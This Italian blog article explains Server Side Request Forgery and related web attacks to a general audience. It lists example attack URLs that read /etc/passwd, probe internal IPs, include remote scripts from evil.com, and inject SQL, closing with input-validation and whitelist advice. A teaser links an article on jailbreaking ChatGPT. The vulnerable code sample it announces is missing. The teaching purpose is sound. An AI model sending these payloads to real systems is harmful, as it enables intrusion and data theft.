fbpx
Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Una Server Side Request Forgery (SSRF) spiegata semplice

Davide Cavallini : 20 Luglio 2023 08:23

Autore: Davide Cavallini

Oggi parleremo di una vulnerabilità critica che può causare seri danni alla sicurezza delle applicazioni web: la Server Side Request Forgery (SSRF). La SSRF è una vulnerabilità che si verifica quando un server web legge il contenuto degli URL a partire dai parametri GET o POST o dai COOKIE o HTTP HEADERS che gli vengono passati. 

Questa può permettere a un attaccante di richiedere URL ai quali solitamente non sarebbe possibile accedere dalla rete esterna. Un esempio di codice vulnerabile a SSRF lato server è questo:

Vuoi diventare un esperto del Dark Web e della Cyber Threat Intelligence (CTI)?
Stiamo per avviare il corso intermedio in modalità "Live Class", previsto per febbraio.
A differenza dei corsi in e-learning, disponibili online sulla nostra piattaforma con lezioni pre-registrate, i corsi in Live Class offrono un’esperienza formativa interattiva e coinvolgente.
Condotti dal professor Pietro Melillo, le lezioni si svolgono online in tempo reale, permettendo ai partecipanti di interagire direttamente con il docente e approfondire i contenuti in modo personalizzato. Questi corsi, ideali per aziende, consentono di sviluppare competenze mirate, affrontare casi pratici e personalizzare il percorso formativo in base alle esigenze specifiche del team, garantendo un apprendimento efficace e immediatamente applicabile.
Non perdere i nostri corsi e scrivi subito su WhatsApp al numero
379 163 8765  per richiedere informazioni
"

Supporta RHC attraverso:


Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.


In questo specifico caso, se scrivessi http://sito.test/ssrf.php?url=http://192.168.1.1 magari riuscirei ad accedere alle impostazioni del router, o a risorse nella rete interna. Chiaramente anche altri metodi (in questo caso PHP) come file_get_contents(), fopen(), fread(), fsockopen() e curl_exec() possono consentire l’accesso a risorse normalmente non esposte all’esterno.

Ecco alcuni esempi di URL che potrebbero essere accessibili tramite SSRF:

  • Funzionalità di Apache non esposte alla rete esterna: http://sito.test/ssrf.php?url=http://localhost
  • Accesso ai file del server (Local File Inclusion LFI): http://sito.test/ssrf.php?url=file:///etc/passwd
  • Accesso alla rete interna del server: http://sito.test/ssrf.php?url=http://192.168.15.3
  • Accesso al router: http://sito.test/ssrf.php?url=http://192.168.0.1

La SSRF è una vulnerabilità molto rischiosa e che può aprire una falla importante nella rete interna, esponendola a qualsiasi cosa.  Ci sono diversi tipi di attacchi che possono essere eseguiti attraverso la Server Side Request Forgery (SSRF), sugli URL che sono diventati accessibili grazie alla vulnerabilità. 

Di seguito sono elencati alcuni dei tipi di attacco più comuni:

  1. Port scanning: L’attaccante potrebbe eseguire una richiesta come questa:
    http://example.com/scan_ports?url=http://internal_resource:80
    per eseguire una scansione delle porte aperte sul server e identificare eventuali vulnerabilità.
  2. Local file inclusion (LFI): L’attaccante potrebbe eseguire una richiesta come questa:
    http://example.com/include_file.php?file=file:///etc/passwd
    per accedere ai file interni del server.
  3. Remote code execution (RCE): L’attaccante potrebbe eseguire una richiesta come questa:
    http://example.com/run_script.php?url=http://evil.com/malicious_script.php
    per eseguire codice remoto sul server.
  4. SQL Injection: L’attaccante potrebbe eseguire una richiesta come questa:
    http://example.com/search.php?id=1%20OR%201=1%20–
    per eseguire una query SQL malevola all’interno del database del server.
  5. Cross-Site Scripting (XSS): L’attaccante potrebbe eseguire una richiesta come questa:
    http://example.com/search.php?query=
    per iniettare codice JavaScript malevolo all’interno delle pagine web visualizzate dagli utenti.
  6. Cross-Site Request Forgery (CSRF): L’attaccante potrebbe eseguire una richiesta come questa: http://example.com/transfer.php?account=1234&amount=1000&destination=attackers_account
    per eseguire azioni malevole sui siti web visitati dagli utenti.
  7. Remote File Inclusion (RFI): L’attaccante potrebbe eseguire una richiesta come questa:
    http://example.com/include_file.php?url=http://evil.com/malicious_script.php
    per includere file remoti all’interno delle pagine web visualizzate dagli utenti.
  8. Directory Traversal: L’attaccante potrebbe ese guire una richiesta come questa:
    http://example.com/view_file.php?file=../../etc/passwd
    per accedere a file e cartelle al di fuori della directory di lavoro del server.

Ovviamente per eseguire questo tipo di attacchi bisogna che i “sotto-url” abbiano queste vulnerabilità, ma spesso è così, dato che essendo inaccessibili viene sottovalutata la loro pericolosità. Chiaramente, anche gli SSRF possono essere, a seconda delle casistiche:

  1. Error-based: L’attaccante potrebbe eseguire una richiesta come questa: http://example.com/not_existing_page?id=1 e analizzare il messaggio di errore restituito dal server per ottenere informazioni sulle risorse interne.
  2. Time-based: L’attaccante potrebbe eseguire una richiesta come questa:
    http://example.com/some_slow_page?id=1%20AND%20SLEEP(5) per analizzare il tempo di risposta del server e ottenere informazioni sulle risorse interne.
  3. Blind SSRF: L’attaccante potrebbe eseguire una richiesta come questa:
    http://example.com/check_internal_resource?url=http://internal_resource
    per ottenere informazioni sulle risorse interne senza ricevere alcuna risposta dal server

Di seguito sono elencati alcuni dei protocolli che potrebbero essere comunemente vulnerabili alla SSRF:

  1. HTTP: Un attaccante potrebbe manipolare gli URL passati attraverso i parametri GET o POST per richiedere risorse a cui non dovrebbe avere accesso, come funzionalità di Apache non esposte alla rete esterna, file del server (Local File Inclusion LFI), la rete interna del server o il router.
  2. FTP: Un attaccante potrebbe utilizzare la SSRF per eseguire comandi FTP, come caricare o scaricare file, o eseguire attacchi di tipo port scanning per identificare le porte aperte sul server.
  3. SMTP: Un attaccante potrebbe utilizzare la SSRF per inviare email da un server di posta interno, causando la perdita di informazioni sensibili o la compromissione dell’integrità del sistema.
  4. DNS: Un attaccante potrebbe utilizzare la SSRF per eseguire query DNS e ottenere informazioni sulle risorse interne del server, come indirizzi IP, nomi di dominio e servizi.
  5. LDAP: Un attaccante potrebbe utilizzare la SSRF per eseguire query LDAP e ottenere informazioni sulle risorse interne del server, come utenti, gruppi e servizi.
  6. SMB: Un attaccante potrebbe utilizzare la SSRF per eseguire comandi SMB e accedere ai file condivisi sul server o alle risorse di rete.
  7. l>

    In generale, qualsiasi protocollo utilizzato nelle applicazioni web che prevede l’utilizzo di URL potrebbe essere vulnerabile alla SSRF se non si adottano le opportune misure preventive. dÈ importante prestare attenzione ai parametri che vengono passati agli script lato server e validare correttamente tutti gli input per prevenire questo tipo di attacchi.

    È importante essere consapevoli di questa vulnerabilità e adottare le misure preventive necessarie per proteggere le applicazioni web. Per prevenire questo tipo di attacchi, è importante prestare attenzione ai parametri che vengono passati agli script lato server e validare correttamente tutti gli input. Inoltre, è possibile utilizzare una whitelist di URL validi per limitare l’accesso solo a risorse autorizzate.

    Davide Cavallini
    Davide Cavallini è un esperto sviluppatore senior specializzato in Laravel e JavaScript, con una notevole esperienza come penetration tester. La sua carriera è caratterizzata da un impegno nell'insegnamento e nella condivisione della sua conoscenza, contribuendo alla formazione di nuovi professionisti nel campo dello sviluppo software e della sicurezza informatica. La sua passione per la tecnologia lo spinge a rimanere sempre aggiornato e a esplorare nuove frontiere dell'informatica.

Articoli in evidenza

Attacco All’Influenza di OpenAI! 20 Milioni di Codici di Accesso in Vendita su BreachForums

Un utente del forum underground BreachForums, con il nickname emirking, ha recentemente pubblicato un thread allarmante, sostenendo di avere accesso a oltre 20 milioni di codici di accesso per gli acc...

La Polizia Smantella CVLT: Il Gruppo Degli Orrori che Spingeva i Minori Fragili a Mutilarsi Online!

Purtroppo, il male non conosce limiti. Dopo la “Chat degli Orrori” su Telegram e i killer a pagamento, pensavamo di aver visto tutto. Ma il web nasconde abissi sempre più oscuri, e ...

Spyware israeliano contro attivisti Italiani: WhatsApp avvisa Luca Casarini preso di mira da Paragon

Un nuovo caso di sorveglianza digitale sta scuotendo l’Italia: Luca Casarini, fondatore della ONG Mediterranea Saving Humans, ha ricevuto una notifica da WhatsApp, che lo ha avvisato che il suo...

USA: DeepSeek come il Terrorismo! 20 anni di carcere e 100M$ di multa. La Proposta Shock

Influenza, Influenza, Influenza… Bloccare l’influenza è la parola d’ordine negli Stati Uniti D’America, con qualsiasi mezzo. Con le sanzioni e ora con una proposta di ...

Dal Giallo al Laboratorio Di Armi Chimiche Il Passo E’ Breve! Jailbreak di ChatGPT con Doppi Negativi

Recentemente, Alin Grigoras, un chimico computazionale, ha scritto alla Redazione di Red Hot Cyber. Ci informava che prendendo spunto da un articolo sul bug bounty di Anthropic, era riuscito a farsi d...